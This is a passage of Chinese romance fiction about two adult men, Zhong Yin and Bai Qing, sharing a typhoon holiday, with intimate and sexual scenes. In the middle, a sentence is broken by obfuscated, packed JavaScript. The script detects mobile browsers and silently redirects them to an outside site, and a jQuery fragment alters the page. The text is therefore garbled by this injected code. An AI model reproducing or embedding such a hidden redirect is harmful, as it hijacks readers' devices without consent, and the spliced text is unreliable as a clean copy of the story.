钟隐有点后悔自己忽然跟柏青较劲,醉鬼酒后吐真言,说的还是他爱听的话,他大可顺着话音,表示一下他的感动和欣喜,可是心里别扭,自然把别扭话也说出了口,后悔也没办法把话收回去。
下了早班,晚上无事,钟隐陪着柏青看纪录片,柏青理所应当地蜷进他怀里,在他走神划拉手机看天气时,猫一样用下巴蹭着他手臂。
“别乱动,痒。”钟隐头也没抬,熟练地反手扣住柏青下巴,安抚地挠了两下。
柏青来了劲儿,哼哼唧唧地把脑袋拱到钟隐胸前,扫一眼钟隐的手机,“我还以为你给什么人回消息呢。”
“我要真回消息,你不回避吗?”钟隐逗他。
“我俩什么关系……”柏青还没说完,声量就小了,因为他跟别的什么人聊天,钟隐总是回避的。
“台风下周才登陆,天气预报有啥好看的。”人一心虚,就会显得很忙,柏青劈手就把钟隐的手机抢了,特别幼稚地抱怀里藏着,“陪我看纪录片呢,不许走神。”
“好好好。”钟隐迭声答应了,哪怕屋里开足了冷气,这么一只大型猫科动物挤怀里趴着,腾腾冒出的热气还是将钟隐蒸出一脑门汗。
待会儿又得冲个澡。
“热。”钟隐不轻不重地捏了把柏青胳膊。
柏青这才把怀里的手机撂一边,扬起手来欲盖弥彰地说:“是吗,我摸摸。”
钟隐顺势偏了偏脑袋,左脸颊就落到柏青掌心,无意识地蹭了蹭。
柏青呼吸一沉,钟隐就笑:“被烫到了吧?”
“不够。”柏青喃喃,手稍稍施力,将钟隐的脑袋往下勾。
钟隐配合地低头,轻吻过柏青嘴唇,只唇瓣轻轻摩挲,没有进一步深入。
柏青又担心钟隐低着头难受,讨了个吻后,就体贴地放开,甚至还乖乖地把钟隐丢一边的手机够了回来。
“喏,手机。”柏青交还手机,向钟隐展示了他空空如也的双手。
他整个人仰躺在钟隐大腿上,发丝蓬松柔软,亮橙色的挑染已经隐没于原本的乌发中,有几缕滑进了睡衣里,衣领的扣子因为方才的玩闹松开了两颗,大咧咧地露出了漂亮的锁骨。
钟隐心想,柏青大概是在继续勾引他,那个吻还不够。
“明天我上晚班。”钟隐没头没脑地说了一句。
“明天我得继续处理之前交接的事情,但我会在你下班前到店里去。”柏青却没听懂,毛手毛脚地扒拉着钟隐的睡衣扣子。
“我不是说这个。”钟隐失笑,盯着柏青迷茫的眼睛好一阵,“你都在解我扣子了,还没听懂?”
柏青这才恍然大悟,“哎哟”了一会儿,侧身把脸埋钟隐怀里嘟嘟囔囔:“我还真没这意思。”
“哦,你解我扣子,是在逗我玩?”钟隐故意追问,手又按在了柏青后脖颈。
柏青从他怀里露出半张脸,露出故作讨好实则狡黠的笑:“阿隐,你难得这么主动。”
“那你就冤枉我了。”钟隐面上笑意依旧,只眸色黯淡了些许。
柏青没有察觉,他轻巧地从钟隐的桎梏挣脱,饿虎扑食般往钟隐颈侧啃了一口。
疼,但钟隐眉头都没皱一下,他放空了一瞬,目光移到屏幕播放的纪录片,午后的雨林下起了雨。
*
也许是台风的缘故,窗外的暴雨似乎下了一个世纪。
钟隐白日里睡够了,被柏青咬醒,觉察到身上潮热的黏腻,想着去冲个澡。
但柏青还窝在他身上不下来,呼吸起伏剧烈,心跳一拳一拳打在他胸膛。
“你硌到我了。”钟隐小小声说,他觉得自己被热得发昏。
柏青闷闷地笑,把脸埋在钟隐颈窝,钟隐被痒得往旁边躲,柏青一口叼住了他脖颈的皮.肉。
钟隐老实了,不躲了,他感觉到自己身上不太好。
不是柏青的问题,柏青不沉,钟隐抱着跟抱只大猫玩偶似的;可又是柏青的问题,柏青骨头太硬,硌得钟隐浑身又疼又痒,像是年少时期的生长痛,有什么东西在拔节生长。
“别笑。”钟隐瓮声瓮气地说,他有一点委屈,“我说认真的。”
“我知道。”柏青松开他。
黑暗里,钟隐只能模糊地看见柏青仰起脸的弧度,像被薄云遮掩住的冷月牙,与他距离触手可及,但失神的瞬间又远离。
而柏青的呼吸是灼热的,身子是滚烫的,把钟隐严严实实地笼罩,像入夏后蒸腾的热雨,钟隐不自觉大口喘息,热雨掠夺了他需要的所有氧气。
“柏……”钟隐小心翼翼地喊,“阿青?”
“我不动你,就趴一会儿。”柏青说,他把脸又埋进钟隐颈窝,如月亮隐没于云层。
钟隐难受得紧,又不敢乱动,他拿捏不准柏青在想什么,“我难受。”于是他从心说了实话。
柏青笑了,“那怎么办?”
你从我身上下来,钟隐差点就要脱口而出,可这话不合适,他铁疙瘩的脑子终于意识到,有些话跟柏青说不合适。
“亲一下。”钟隐嗫嚅着,“但不能咬我。”
“你好像在逗小狗。”柏青说,他扬起了脸,柔软的发丝挠着钟隐下颌。
柏青才不像小狗,钟隐说:“你像猫多一点。”
“好吧。”柏青应承了这个形容,像猫一样轻轻地舔了口钟隐侧脸。
钟隐身上的难受劲儿发作得更厉害,他哼哼:“这不算,你糊弄我。”
“刚刚亲过了。”柏青非要耍赖。
怎么这么讨厌呢?柏青之前也耍赖,钟隐只觉得可爱,但这会儿却真切地讨厌着,他身上的难受劲儿聚在心口,想那热雨浇了进去,把心脏浸泡腐烂,皱巴巴地疼痛酸胀起来。
回过神,钟隐已经将柏青腿弯勾住,与柏青上下颠倒了位置。
他手卡在柏青的下颌,柏青无意识地动了动,哼出了一声笑音:“做咩嘢?”
钟隐没反应过来,只借此确认了柏青嘴唇的位置,垂头小心翼翼地吻上去。
柏青却在他触碰地那一秒别过脸,钟隐心口的疼痛尖锐地扎上来,他近乎发狠地掐住柏青下巴,但碰上柏青的嘴唇又舍不得咬上去,只好委屈又细致地舔舐,勾住柏青舌尖后,差点鼻子一酸掉下眼泪。
奇怪,这有什么好委屈的?
台风天前,钟隐没想到能和柏青一起度假,准备水和食物的同时,还反复地为给柏青发消息打着腹稿。
消息没有发出去,他腹稿打了太多遍,字句零零散散地失去了本来的含义。
他想问柏青,台风天会在哪里度过。
没想
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532551|186411||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到柏青会来这里。
钟隐的眼泪到底砸了下来,他担心自己扫兴,慌慌张张地结束了这个吻,刚想翻身而起装作无事发生地逃到浴室,才发觉他的后腰被柏青紧紧地桎梏。
“还想干什么?”柏青换回了普通话,懒洋洋的调子带着一丝严肃。
钟隐吓得心软,趴在柏青身上哆哆嗦嗦地回答:“再亲一下,不能咬我。”
“哈。”柏青笑了,“阿隐,胆子大一点嘛。”
钟隐暗暗嘀咕:我怎么胆子大,明明你是金主诶。
他神思一恍惚,就被柏青侧身摔回了床铺,挣扎之中,他摸到了柏青宽松衣料下柔软又滚烫的皮肤。
“好哥哥,”柏青在他耳边炙热地喘息,“手往下一些。”
“求你……”
*
柏青受不住的时候,总会软着声音喊钟隐“哥哥”。
叫叠字,不管在上还是在下。
这就是他的狡猾之处,灯光黯淡时,他的嗓音像是星星跳跃的光粒,替代了眸光轻抚钟隐全身。
钟隐总会心软,舍不得更激烈的动作,只是像在荒芜沙漠中渴求水一样,渴求柏青的呼唤。
“阿隐,再过分一点嘛。”被伺候舒服了,柏青又哼哼唧唧地作妖。
钟隐心跳还没缓过来,眼下可比不得年轻那阵,没好气地拍了把柏青后脑勺。
“洗澡去。”
柏青耍赖不动弹:“一起。”
纪录片播完了,屏幕上只剩一片静谧的蓝。
钟隐听见他们和在一起的心跳,衣料与肌肤摩擦的细微声响。
空调徐徐输送凉风,鱼尾摆出了轻快的水声。
钟隐一时动弹不得,他陷在了这片静谧里,柏青在他怀里探头探脑,吐出点软红的舌头,嘴角笑出括弧状的水纹。
“你下回染个绿头发吧。”钟隐的目光滑过柏青软塌塌的发顶。
柏青裸.露肩膀,睡衣滑到了腰际,屏幕的蓝光衬得他皮肤像上好的冷玉,而他皮肤的温度却灼痛了钟隐掌心。
岭南的气候不好,钟隐没由来地想,蒸腾的热气将天地万物逼近人狭窄的感官,而常年没有尽头的苍翠将人推远到天边外。
柏青被岭南生养,他也像他的故土,离钟隐那么近,又那么远。
“你好像比我更喜欢绿色了。”柏青说。
钟隐没反驳,他颠三倒四地喊:“阿青,阿青,你怎么会叫柏青?”
这话太没有道理了,让人根本没法回答。
可是柏青想了想,略带些郑重地回答:“抓阄抓到的。”
“好草率。”钟隐说,说完他又开始懊悔。
柏青只乐:“是,所以我一直觉得你名字很好,很衬你。”
“上户口的时候写错了。”钟隐主动揭了短,“我舅舅跟我说,我妈原本给我取的名字是‘钟英’。”
这是前后鼻音不分闹出的乌龙。
“我有没有说过,我就见过我妈几次。”钟隐说。
“嗯,我记得。”柏青简短地应和了。
“见了几次啊?”钟隐执着地追问。
“三次半。”柏青果然记得,但他不愿多提,抢在钟隐刨根问底前卖乖道,“我热得难受。”
钟隐叹气:“嗯,去洗澡吧”